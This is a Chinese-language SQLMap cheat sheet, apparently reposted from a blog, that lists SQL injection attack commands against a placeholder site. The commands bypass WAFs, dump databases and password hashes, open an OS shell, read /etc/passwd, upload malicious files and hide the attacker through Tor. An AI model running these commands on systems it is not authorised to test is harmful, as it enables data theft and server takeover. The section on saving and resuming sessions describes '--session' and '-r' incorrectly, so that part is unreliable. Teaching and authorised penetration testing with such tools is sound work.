作者:Trix Cyrus
什麼是 SQLMap?
SQLMap是一個開源滲透測試工具,用於偵測和利用網路應用程式中的SQL注入漏洞。它支援各種資料庫系統,如 MySQL、PostgreSQL、Oracle、Microsoft SQL Server 等。
基本用法
要開始使用 SQLMap,您可以透過提供目標 URL 以最簡單的形式運行它:
sqlmap -u "http://example.com/index.php?id=1"
此指令掃描目標 URL 是否有 SQL 注入漏洞。
1。偵測漏洞
使用以下選項執行基本的漏洞掃描並自動偵測 SQL 注入點:
sqlmap -u "http://example.com/index.php?id=1" --dbs
--dbs:如果發現漏洞,列出目標伺服器上所有可用的資料庫。
2。指定 POST 請求
對於需要 POST 請求的目標(通常在登入表單中),您可以指定以下資料:
sqlmap -u "http://example.com/login.php" --data="username=admin&password=1234"
3。繞過 WAF 和過濾器
為了逃避 Web 應用程式防火牆 (WAF),SQLMap 包含有效負載混淆技術:
sqlmap -u "http://example.com/index.php?id=1" --tamper=space2comment
--tamper:使用篡改腳本來逃避過濾器。範例:space2comment、charencode。
4。擷取資料庫、表格和欄位
若要取得目標系統上的資料庫清單:
sqlmap -u "http://example.com/index.php?id=1" --dbs
辨識資料庫後,擷取其表:
sqlmap -u "http://example.com/index.php?id=1" -D database_name --tables
要從特定表中取得欄位:
sqlmap -u "http://example.com/index.php?id=1" -D database_name -T table_name --columns
5。轉儲資料
轉儲表的內容是 SQLMap 最有用的功能之一。例如,轉儲特定表中的所有資料:
sqlmap -u "http://example.com/index.php?id=1" -D database_name -T table_name --dump
6。枚舉資料庫使用者和密碼
SQLMap 還可以用於枚舉資料庫用戶,甚至破解雜湊密碼:
sqlmap -u "http://example.com/index.php?id=1" --users sqlmap -u "http://example.com/index.php?id=1" --passwords
7。存取作業系統
在某些情況下,SQLMap可以用來在作業系統上執行指令,特別是當資料庫使用者有進階權限時:
sqlmap -u "http://example.com/index.php?id=1" --os-shell
這將提供一個互動式 shell,您可以在其中在目標系統上執行命令。
8。文件上傳與讀取
您也可以從目標系統讀取檔案或上傳惡意檔案(如果允許):
sqlmap -u "http://example.com/index.php?id=1" --file-read="/etc/passwd" sqlmap -u "http://example.com/index.php?id=1" --file-write="/path/to/file" --file-dest="/destination/path"
9。使用 Tor 進行匿名
要隱藏您的身份,您可以透過 Tor 網路執行 SQLMap:
sqlmap -u "http://example.com/index.php?id=1" --tor --tor-type=SOCKS5 --check-tor
--tor:啟用 Tor。
--check-tor:驗證是否透過 Tor 建立連線。
10。保存和恢復會話
SQLMap 讓您可以使用 --session 選項來儲存和復原進度:
sqlmap -u "http://example.com/index.php?id=1" --session=your_session_name
稍後,您可以透過以下方式恢復相同會話:
sqlmap -r your_session_name
11。詳細模式
要查看有關 SQLMap 正在執行的操作的詳細資訊:
sqlmap -u "http://example.com/index.php?id=1" -v 3
-v 選項控制詳細程度(等級從 0 到 6,其中 6 顯示所有詳細資訊)。
SQLMap 支援掃描儲存在檔案中的多個 URL:
sqlmap -m urls.txt --batch
--batch:使用預設選項自動回答所有提示,對於自動掃描很有用。
也可以使用 --risk=3 和 --level=5 提前掃描
您可以使用此備忘單向讀者介紹 SQLMap 的基本命令,並協助他們開始 SQL 注入測試。
~TrixSec
以上是SQLMap 備忘單:自動 SQL 注入快速指南的詳細內容。更多資訊請關注PHP中文網其他相關文章!